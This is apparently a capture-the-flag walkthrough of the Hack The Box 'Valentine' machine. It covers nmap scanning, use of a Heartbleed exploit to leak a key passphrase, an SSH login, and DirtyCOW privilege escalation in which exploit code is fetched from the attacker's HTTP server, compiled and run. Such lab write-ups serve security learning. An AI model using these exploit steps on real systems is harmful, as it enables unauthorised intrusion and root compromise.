HEARTBLEED+DIRTYCOW

```
PORT    STATE SERVICE VERSION

22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)

|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)

|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)

80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))

|_http-server-header: Apache/2.2.22 (Ubuntu)

|_http-title: Site doesn't have a title (text/html).

443/tcp open  ssl/ssl Apache httpd (SSL-only mode)

|_http-server-header: Apache/2.2.22 (Ubuntu)

|_http-title: Site doesn't have a title (text/html).
```

```
root@kali:/home/kali/Desktop/hackthebox/valentine# nmap -sV --script=/usr/share/nmap/scripts/ssl-heartbleed.nse 10.10.10.79

ssl-heartbleed:

|   VULNERABLE:

|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.

|     State: VULNERABLE

|     Risk factor: High

|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
```

https://valentine.htb/dev/

```
[DIR]       Parent Directory                    -

[ ]         hype_key13-Dec-2017 16:48           5.3K

[TXT]       notes.txt 05-Feb-2018 16:42         227
```

https://valentine.htb/dev/hype_key

https://www.rapidtables.com/convert/number/hex-to-ascii.html

```
root@kali:/home/kali/Desktop/hackthebox/valentine# searchsploit heartbleed

root@kali:/home/kali/Desktop/hackthebox/valentine# cp /usr/share/exploitdb/exploits/multiple/remote/32764.py .
```

https://gist.github.com/eelsivart/10174134

```
python hearbleed.py valentine.htb –p 443
```

https://www.base64decode.org/

```
root@kali:/home/kali/Desktop/hackthebox/valentine# echo aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 -d

heartbleedbelievethehype
```

```
ssh –i id_rsa hype@valentine.htb
```

```
hype@Valentine:~$ uname -a

Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
```

DIRTYCOW

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs dirty.c

```
root@kali:/home/kali/Desktop/tools# python -m SimpleHTTPServer 80

hype@Valentine:/tmp$ wget 10.10.14.16/dirty.c

hype@Valentine:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt

hype@Valentine:/tmp$ chmod +x dirty

hype@Valentine:/tmp$ ./dirty
```